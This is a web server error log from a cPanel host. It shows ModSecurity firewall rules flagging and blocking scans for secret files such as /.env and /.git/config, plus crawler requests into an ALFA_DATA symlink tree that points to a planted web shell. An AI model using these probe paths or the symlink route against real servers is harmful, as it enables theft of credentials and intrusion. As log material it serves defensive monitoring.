[Sat Oct 24 13:38:29.015418 2026] [security2:error] [pid 2627273:tid 2627273] [client 153.75.81.83:63512] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFRdOhHN-18IxgZKt3wAAAAY"]
[Sat Oct 24 13:38:29.015792 2026] [security2:error] [pid 2627273:tid 2627273] [client 153.75.81.83:63512] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztFRdOhHN-18IxgZKt3wAAAAY"]
AH00112: Warning: DocumentRoot [/home/sjerwinpinturas/public_html/sherwinpinturas] does not exist
[Sat Oct 24 13:38:46.460857 2026] [:notice] [pid 799574:tid 799574] mod_ruid2/0.9.8 enabled
[Sat Oct 24 13:38:46.474241 2026] [mpm_prefork:notice] [pid 799574:tid 799574] AH00163: Apache/2.4.69 (cPanel) OpenSSL/1.1.1k mod_bwlimited/1.4 configured -- resuming normal operations
[Sat Oct 24 13:38:46.474268 2026] [core:notice] [pid 799574:tid 799574] AH00094: Command line: '/usr/sbin/httpd'
[Sat Oct 24 13:38:46.638057 2026] [ssl:error] [pid 2677773:tid 2677773] (70014)End of file found: [client 54.197.114.76:15947] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:38:50.334841 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.157.84.74:54986] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:38:54.308701 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 54.87.62.248:45396] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:39:06.270254 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 18.214.138.148:1639] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:13/subsystem/devices/device:00/physical_node/driver/unbind
[Sat Oct 24 13:39:18.170277 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.23.103.31:46667] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:39:22.013800 2026] [authz_core:error] [pid 2677788:tid 2677788] [client 147.185.133.36:62394] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: http://sherwinpinturas.com/
[Sat Oct 24 13:39:22.211103 2026] [ssl:error] [pid 2677777:tid 2677777] (70014)End of file found: [client 44.217.177.142:3611] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:39:26.195001 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 44.218.6.93:49073] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:39:46.011906 2026] [core:crit] [pid 2677786:tid 2677786] (13)Permission denied: [client 159.89.12.166:53680] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:46.012275 2026] [core:crit] [pid 2677773:tid 2677773] (13)Permission denied: [client 138.68.144.227:44248] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:46.109527 2026] [core:crit] [pid 2677787:tid 2677787] (13)Permission denied: [client 68.183.9.16:47940] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:46.142563 2026] [core:crit] [pid 2677796:tid 2677796] (13)Permission denied: [client 167.99.210.137:57638] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:46.162606 2026] [core:crit] [pid 2677775:tid 2677775] (13)Permission denied: [client 138.68.144.227:44260] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:46.183132 2026] [core:crit] [pid 2677777:tid 2677777] (13)Permission denied: [client 159.89.12.166:53682] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 13:39:50.384936 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 54.83.240.58:49647] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:39:56.340021 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:51208] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbA5nrLV5krwbFOTwjAAAAA4"]
[Sat Oct 24 13:39:56.340272 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:51208] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbA5nrLV5krwbFOTwjAAAAA4"]
[Sat Oct 24 13:39:56.340595 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:51208] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbA5nrLV5krwbFOTwjAAAAA4"]
[Sat Oct 24 13:39:56.874451 2026] [security2:error] [pid 2677788:tid 2677788] [client 68.183.9.16:50046] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbGHlETSj29Thy_T6TgAAAAM"]
[Sat Oct 24 13:39:56.874703 2026] [security2:error] [pid 2677788:tid 2677788] [client 68.183.9.16:50046] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbGHlETSj29Thy_T6TgAAAAM"]
[Sat Oct 24 13:39:56.875019 2026] [security2:error] [pid 2677788:tid 2677788] [client 68.183.9.16:50046] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.env"] [unique_id "atztbGHlETSj29Thy_T6TgAAAAM"]
[Sat Oct 24 13:39:58.902256 2026] [security2:error] [pid 2677793:tid 2677793] [client 68.183.9.16:50054] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "atztbuJ2IvLO39vDeN1uqAAAAAU"]
[Sat Oct 24 13:39:58.902308 2026] [security2:error] [pid 2677793:tid 2677793] [client 68.183.9.16:50054] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/ecp/Current/exporttool/microsoft.exchange.ediscovery.exporttool.application"] [unique_id "atztbuJ2IvLO39vDeN1uqAAAAAU"]
[Sat Oct 24 13:40:00.597618 2026] [security2:error] [pid 2677776:tid 2677776] [client 167.99.210.137:44634] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcGZJIyiQiKFtr2-4vgAAABU"]
[Sat Oct 24 13:40:00.597894 2026] [security2:error] [pid 2677776:tid 2677776] [client 167.99.210.137:44634] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcGZJIyiQiKFtr2-4vgAAABU"]
[Sat Oct 24 13:40:00.598246 2026] [security2:error] [pid 2677776:tid 2677776] [client 167.99.210.137:44634] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcGZJIyiQiKFtr2-4vgAAABU"]
[Sat Oct 24 13:40:00.989216 2026] [security2:error] [pid 2677775:tid 2677775] [client 68.183.9.16:56382] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcA5nrLV5krwbFOTwjQAAAA4"]
[Sat Oct 24 13:40:00.989484 2026] [security2:error] [pid 2677775:tid 2677775] [client 68.183.9.16:56382] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcA5nrLV5krwbFOTwjQAAAA4"]
[Sat Oct 24 13:40:00.989712 2026] [security2:error] [pid 2677775:tid 2677775] [client 68.183.9.16:56382] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "atztcA5nrLV5krwbFOTwjQAAAA4"]
[Sat Oct 24 13:40:02.327829 2026] [ssl:error] [pid 2677773:tid 2677773] (5)Input/output error: [client 52.45.29.57:28346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:10.119308 2026] [proxy_fcgi:error] [pid 2677776:tid 2677776] [client 68.183.9.16:46320] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:40:10.399447 2026] [core:error] [pid 2677843:tid 2677843] (13)Permission denied: [client 3.210.114.189:21532] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource4_wc
[Sat Oct 24 13:40:12.944362 2026] [proxy_fcgi:error] [pid 2677788:tid 2677788] [client 167.99.210.137:53750] AH01071: Got error 'Primary script unknown'
[Sat Oct 24 13:40:13.322023 2026] [security2:error] [pid 2677786:tid 2677786] [client 68.183.9.16:46352] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztfYQ_eexIMgmxi-uQYAAAAAE"]
[Sat Oct 24 13:40:13.322346 2026] [security2:error] [pid 2677786:tid 2677786] [client 68.183.9.16:46352] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztfYQ_eexIMgmxi-uQYAAAAAE"]
[Sat Oct 24 13:40:13.322603 2026] [security2:error] [pid 2677786:tid 2677786] [client 68.183.9.16:46352] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles2.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztfYQ_eexIMgmxi-uQYAAAAAE"]
[Sat Oct 24 13:40:14.228531 2026] [ssl:error] [pid 2678350:tid 2678350] (70014)End of file found: [client 54.162.69.192:49827] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:14.261654 2026] [security2:error] [pid 2677785:tid 2677785] [client 167.99.210.137:53760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.well-known/security.txt"] [unique_id "atztfjscjnm-Rk8uGagp2gAAAAA"]
[Sat Oct 24 13:40:14.261703 2026] [security2:error] [pid 2677785:tid 2677785] [client 167.99.210.137:53760] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles1.sherwinpinturas.com"] [uri "/.well-known/security.txt"] [unique_id "atztfjscjnm-Rk8uGagp2gAAAAA"]
[Sat Oct 24 13:40:16.109918 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:53790] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".axd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztgA5nrLV5krwbFOTwkgAAAA4"]
[Sat Oct 24 13:40:16.110272 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:53790] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztgA5nrLV5krwbFOTwkgAAAA4"]
[Sat Oct 24 13:40:16.110602 2026] [security2:error] [pid 2677775:tid 2677775] [client 167.99.210.137:53790] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "hoteles1.sherwinpinturas.com"] [uri "/trace.axd"] [unique_id "atztgA5nrLV5krwbFOTwkgAAAA4"]
[Sat Oct 24 13:40:17.327149 2026] [security2:error] [pid 2677793:tid 2677793] [client 68.183.9.16:46400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "atztgeJ2IvLO39vDeN1usgAAAAU"]
[Sat Oct 24 13:40:17.327189 2026] [security2:error] [pid 2677793:tid 2677793] [client 68.183.9.16:46400] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles2.sherwinpinturas.com"] [uri "/index.html"] [unique_id "atztgeJ2IvLO39vDeN1usgAAAAU"]
[Sat Oct 24 13:40:22.555794 2026] [security2:error] [pid 2677793:tid 2677793] [client 122.96.31.200:31783] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/boaform/admin/formLogin"] [unique_id "atzthuJ2IvLO39vDeN1utAAAAAU"]
[Sat Oct 24 13:40:30.230670 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 35.174.253.85:52280] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:34.386781 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 52.200.93.170:43124] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:38.349729 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 23.21.227.240:65050] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:46.162670 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 3.224.215.150:13722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:46.162856 2026] [security2:error] [pid 2677793:tid 2677793] [client 3.224.215.150:13722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory18/subsystem/devices/memory4/online"] [unique_id "atztnuJ2IvLO39vDeN1utQAAAAU"]
[Sat Oct 24 13:40:46.162890 2026] [security2:error] [pid 2677793:tid 2677793] [client 3.224.215.150:13722] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory18/subsystem/devices/memory4/online"] [unique_id "atztnuJ2IvLO39vDeN1utQAAAAU"]
[Sat Oct 24 13:40:51.566525 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 185.191.171.12:52944] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:54.349819 2026] [ssl:error] [pid 2677785:tid 2677785] (70014)End of file found: [client 52.2.191.202:27457] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:40:58.235506 2026] [core:error] [pid 2677787:tid 2677787] (13)Permission denied: [client 34.231.45.47:58952] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:01/physical_node/node0/memory14/node0/memory12/subsystem/uevent
[Sat Oct 24 13:41:06.391026 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 23.21.179.120:42940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/shpchp/uevent
[Sat Oct 24 13:41:18.339676 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 23.21.179.27:52575] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:41:18.810622 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 85.208.96.200:20342] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-8/reclaim_account
[Sat Oct 24 13:41:34.179114 2026] [ssl:error] [pid 2677775:tid 2677775] (70014)End of file found: [client 52.71.218.25:32346] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:41:38.610623 2026] [ssl:error] [pid 2677793:tid 2677793] (70014)End of file found: [client 23.21.179.120:39813] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:41:58.274569 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 18.206.47.187:13026] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:41:58.314083 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 85.208.96.210:21504] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_inode_cache/total_objects
[Sat Oct 24 13:42:02.208731 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 3.93.253.174:23605] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:42:34.355056 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 18.209.201.119:64169] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:42:54.253117 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 3.216.227.216:24616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory2/node0/cpu1/driver/cpu1/firmware_node/subsystem/drivers/pvpanic/unbind
[Sat Oct 24 13:42:58.353184 2026] [ssl:error] [pid 2677787:tid 2677787] (70014)End of file found: [client 23.23.103.31:9126] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:02.487552 2026] [ssl:error] [pid 2677842:tid 2677842] (70014)End of file found: [client 3.229.95.193:62594] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 13:43:07.777404 2026] [core:error] [pid 2677773:tid 2677773] (13)Permission denied: [client 185.191.171.13:28732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-192/alloc_calls
[Sat Oct 24 13:43:17.739739 2026] [core:error] [pid 2677788:tid 2677788] (13)Permission denied: [client 185.191.171.2:29708] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/request_sock_subflow/total_objects
